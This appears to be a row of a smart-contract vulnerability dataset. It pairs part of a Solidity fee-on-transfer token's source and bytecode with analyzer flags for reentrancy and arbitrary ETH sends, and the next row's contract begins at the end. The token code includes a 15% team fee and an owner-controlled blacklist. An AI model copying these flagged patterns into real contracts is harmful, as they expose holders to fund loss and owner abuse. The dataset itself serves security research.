.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e75565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612998565b61045e565b6040516101789190612e5a565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613017565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612949565b61048b565b6040516101e09190612e5a565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128bb565b610564565b005b34801561021e57600080fd5b50610227610654565b604051610234919061308c565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a15565b61065d565b005b34801561027257600080fd5b5061027b61070f565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128bb565b610781565b6040516102b19190613017565b60405180910390f35b3480156102c657600080fd5b506102cf6107d2565b005b3480156102dd57600080fd5b506102e6610925565b6040516102f39190612d8c565b60405180910390f35b34801561030857600080fd5b5061031161094e565b60405161031e9190612e75565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612998565b61098b565b60405161035b9190612e5a565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129d4565b6109a9565b005b34801561039957600080fd5b506103a2610af9565b005b3480156103b057600080fd5b506103b9610b73565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a67565b6110cc565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061290d565b611213565b6040516104189190613017565b60405180910390f35b60606040518060400160405280600a81526020017f52454420524f434b455400000000000000000000000000000000000000000000815250905090565b600061047261046b61129a565b84846112a2565b6001905092915050565b600066038d7ea4c68000905090565b600061049884848461146d565b610559846104a461129a565b6105548560405180606001604052806028815260200161375060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a61129a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c609092919063ffffffff16565b6112a2565b600190509392505050565b61056c61129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f090612f57565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006002905090565b61066561129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e990612f57565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075061129a565b73ffffffffffffffffffffffffffffffffffffffff161461077057600080fd5b600047905061077e81611cc4565b50565b60006107cb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d30565b9050919050565b6107da61129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085e90612f57565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5245445200000000000000000000000000000000000000000000000000000000815250905090565b600061099f61099861129a565b848461146d565b6001905092915050565b6109b161129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3590612f57565b60405180910390fd5b60005b8151811015610af5576001600a6000848481518110610a89577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aed9061332d565b915050610a41565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3a61129a565b73ffffffffffffffffffffffffffffffffffffffff1614610b5a57600080fd5b6000610b6530610781565b9050610b7081611d9e565b50565b610b7b61129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90612f57565b60405180910390fd5b600e60149054906101000a900460ff1615610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f90612fd7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1666038d7ea4c680006112a2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2c57600080fd5b505afa158015610d40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6491906128e4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc657600080fd5b505afa158015610dda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfe91906128e4565b6040518363ffffffff1660e01b8152600401610e1b929190612da7565b602060405180830381600087803b158015610e3557600080fd5b505af1158015610e49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6d91906128e4565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef630610781565b600080610f01610925565b426040518863ffffffff1660e01b8152600401610f2396959493929190612df9565b6060604051808303818588803b158015610f3c57600080fd5b505af1158015610f50573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f759190612a90565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff02191690831515021790555066038d7ea4c68000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611076929190612dd0565b602060405180830381600087803b15801561109057600080fd5b505af11580156110a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c89190612a3e565b5050565b6110d461129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611161576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115890612f57565b60405180910390fd5b600081116111a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119b90612f17565b60405180910390fd5b6111d160646111c38366038d7ea4c6800061209890919063ffffffff16565b61211390919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516112089190613017565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130990612fb7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990612ed7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114609190613017565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d490612f97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561154d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154490612e97565b60405180910390fd5b60008111611590576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158790612f77565b60405180910390fd5b611598610925565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160657506115d6610925565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b9d57600e60179054906101000a900460ff1615611839573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e25750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561173c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183857600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178261129a565b73ffffffffffffffffffffffffffffffffffffffff1614806117f85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e061129a565b73ffffffffffffffffffffffffffffffffffffffff16145b611837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182e90612ff7565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461187c57600f5481111561187b57600080fd5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119205750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61192957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119d45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a425750600e60179054906101000a900460ff165b15611ae35742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a9257600080fd5b603c42611a9f919061314d565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aee30610781565b9050600e60159054906101000a900460ff16158015611b5b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b735750600e60169054906101000a900460ff165b15611b9b57611b8181611d9e565b60004790506000811115611b9957611b9847611cc4565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c445750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c4e57600090505b611c5a8484848461215d565b50505050565b6000838311158290611ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9f9190612e75565b60405180910390fd5b5060008385611cb7919061322e565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d2c573d6000803e3d6000fd5b5050565b6000600654821115611d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6e90612eb7565b60405180910390fd5b6000611d8161218a565b9050611d96818461211390919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dfc577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e2a5781602001602082028036833780820191505090505b5090503081600081518110611e68577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f0a57600080fd5b505afa158015611f1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f4291906128e4565b81600181518110611f7c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fe330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a2565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612047959493929190613032565b600060405180830381600087803b15801561206157600080fd5b505af1158015612075573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6000808314156120ab576000905061210d565b600082846120b991906131d4565b90508284826120c891906131a3565b14612108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ff90612f37565b60405180910390fd5b809150505b92915050565b600061215583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121b5565b905092915050565b8061216b5761216a612218565b5b612176848484612249565b8061218457612183612414565b5b50505050565b6000806000612197612426565b915091506121ae818361211390919063ffffffff16565b9250505090565b600080831182906121fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f39190612e75565b60405180910390fd5b506000838561220b91906131a3565b9050809150509392505050565b600060085414801561222c57506000600954145b1561223657612247565b600060088190555060006009819055505b565b60008060008060008061225b87612482565b9550955095509550955095506122b986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061234e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239a81612591565b6123a4848361264e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124019190613017565b60405180910390a3505050505050505050565b60026008819055506008600981905550565b60008060006006549050600066038d7ea4c68000905061245866038d7ea4c6800060065461211390919063ffffffff16565b8210156124755760065466038d7ea4c6800093509350505061247e565b81819350935050505b9091565b600080600080600080600080600061249e8a600854600f612688565b92509250925060006124ae61218a565b905060008060006124c18e87878761271e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c60565b905092915050565b6000808284612542919061314d565b905083811015612587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257e90612ef7565b60405180910390fd5b8091505092915050565b600061259b61218a565b905060006125b2828461209890919063ffffffff16565b905061260681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612663826006546124e990919063ffffffff16565b60068190555061267e8160075461253390919063ffffffff16565b6007819055505050565b6000806000806126b460646126a6888a61209890919063ffffffff16565b61211390919063ffffffff16565b905060006126de60646126d0888b61209890919063ffffffff16565b61211390919063ffffffff16565b90506000612707826126f9858c6124e990919063ffffffff16565b6124e990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612737858961209890919063ffffffff16565b9050600061274e868961209890919063ffffffff16565b90506000612765878961209890919063ffffffff16565b9050600061278e8261278085876124e990919063ffffffff16565b6124e990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127ba6127b5846130cc565b6130a7565b905080838252602082019050828560208602820111156127d957600080fd5b60005b8581101561280957816127ef8882612813565b8452602084019350602083019250506001810190506127dc565b5050509392505050565b6000813590506128228161370a565b92915050565b6000815190506128378161370a565b92915050565b600082601f83011261284e57600080fd5b813561285e8482602086016127a7565b91505092915050565b60008135905061287681613721565b92915050565b60008151905061288b81613721565b92915050565b6000813590506128a081613738565b92915050565b6000815190506128b581613738565b92915050565b6000602082840312156128cd57600080fd5b60006128db84828501612813565b91505092915050565b6000602082840312156128f657600080fd5b600061290484828501612828565b91505092915050565b6000806040838503121561292057600080fd5b600061292e85828601612813565b925050602061293f85828601612813565b9150509250929050565b60008060006060848603121561295e57600080fd5b600061296c86828701612813565b935050602061297d86828701612813565b925050604061298e86828701612891565b9150509250925092565b600080604083850312156129ab57600080fd5b60006129b985828601612813565b92505060206129ca85828601612891565b9150509250929050565b6000602082840312156129e657600080fd5b600082013567ffffffffffffffff811115612a0057600080fd5b612a0c8482850161283d565b91505092915050565b600060208284031215612a2757600080fd5b6000612a3584828501612867565b91505092915050565b600060208284031215612a5057600080fd5b6000612a5e8482850161287c565b91505092915050565b600060208284031215612a7957600080fd5b6000612a8784828501612891565b91505092915050565b600080600060608486031215612aa557600080fd5b6000612ab3868287016128a6565b9350506020612ac4868287016128a6565b9250506040612ad5868287016128a6565b9150509250925092565b6000612aeb8383612af7565b60208301905092915050565b612b0081613262565b82525050565b612b0f81613262565b82525050565b6000612b2082613108565b612b2a818561312b565b9350612b35836130f8565b8060005b83811015612b66578151612b4d8882612adf565b9750612b588361311e565b925050600181019050612b39565b5085935050505092915050565b612b7c81613274565b82525050565b612b8b816132b7565b82525050565b6000612b9c82613113565b612ba6818561313c565b9350612bb68185602086016132c9565b612bbf81613403565b840191505092915050565b6000612bd760238361313c565b9150612be282613414565b604082019050919050565b6000612bfa602a8361313c565b9150612c0582613463565b604082019050919050565b6000612c1d60228361313c565b9150612c28826134b2565b604082019050919050565b6000612c40601b8361313c565b9150612c4b82613501565b602082019050919050565b6000612c63601d8361313c565b9150612c6e8261352a565b602082019050919050565b6000612c8660218361313c565b9150612c9182613553565b604082019050919050565b6000612ca960208361313c565b9150612cb4826135a2565b602082019050919050565b6000612ccc60298361313c565b9150612cd7826135cb565b604082019050919050565b6000612cef60258361313c565b9150612cfa8261361a565b604082019050919050565b6000612d1260248361313c565b9150612d1d82613669565b604082019050919050565b6000612d3560178361313c565b9150612d40826136b8565b602082019050919050565b6000612d5860118361313c565b9150612d63826136e1565b602082019050919050565b612d77816132a0565b82525050565b612d86816132aa565b82525050565b6000602082019050612da16000830184612b06565b92915050565b6000604082019050612dbc6000830185612b06565b612dc96020830184612b06565b9392505050565b6000604082019050612de56000830185612b06565b612df26020830184612d6e565b9392505050565b600060c082019050612e0e6000830189612b06565b612e1b6020830188612d6e565b612e286040830187612b82565b612e356060830186612b82565b612e426080830185612b06565b612e4f60a0830184612d6e565b979650505050505050565b6000602082019050612e6f6000830184612b73565b92915050565b60006020820190508181036000830152612e8f8184612b91565b905092915050565b60006020820190508181036000830152612eb081612bca565b9050919050565b60006020820190508181036000830152612ed081612bed565b9050919050565b60006020820190508181036000830152612ef081612c10565b9050919050565b60006020820190508181036000830152612f1081612c33565b9050919050565b60006020820190508181036000830152612f3081612c56565b9050919050565b60006020820190508181036000830152612f5081612c79565b9050919050565b60006020820190508181036000830152612f7081612c9c565b9050919050565b60006020820190508181036000830152612f9081612cbf565b9050919050565b60006020820190508181036000830152612fb081612ce2565b9050919050565b60006020820190508181036000830152612fd081612d05565b9050919050565b60006020820190508181036000830152612ff081612d28565b9050919050565b6000602082019050818103600083015261301081612d4b565b9050919050565b600060208201905061302c6000830184612d6e565b92915050565b600060a0820190506130476000830188612d6e565b6130546020830187612b82565b81810360408301526130668186612b15565b90506130756060830185612b06565b6130826080830184612d6e565b9695505050505050565b60006020820190506130a16000830184612d7d565b92915050565b60006130b16130c2565b90506130bd82826132fc565b919050565b6000604051905090565b600067ffffffffffffffff8211156130e7576130e66133d4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613158826132a0565b9150613163836132a0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319857613197613376565b5b828201905092915050565b60006131ae826132a0565b91506131b9836132a0565b9250826131c9576131c86133a5565b5b828204905092915050565b60006131df826132a0565b91506131ea836132a0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561322357613222613376565b5b828202905092915050565b6000613239826132a0565b9150613244836132a0565b92508282101561325757613256613376565b5b828203905092915050565b600061326d82613280565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132c2826132a0565b9050919050565b60005b838110156132e75780820151818401526020810190506132cc565b838111156132f6576000848401525b50505050565b61330582613403565b810181811067ffffffffffffffff82111715613324576133236133d4565b5b80604052505050565b6000613338826132a0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561336b5761336a613376565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61371381613262565b811461371e57600080fd5b50565b61372a81613274565b811461373557600080fd5b50565b613741816132a0565b811461374c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201f7eb2ffd70a37ba19c39f1378c74950a9effd10311f2081fa65800d0672b9c064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,530 |
0x204aecc6a96bf53ce010fdb0d00f32aab632df87 | pragma solidity ^0.4.18;
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
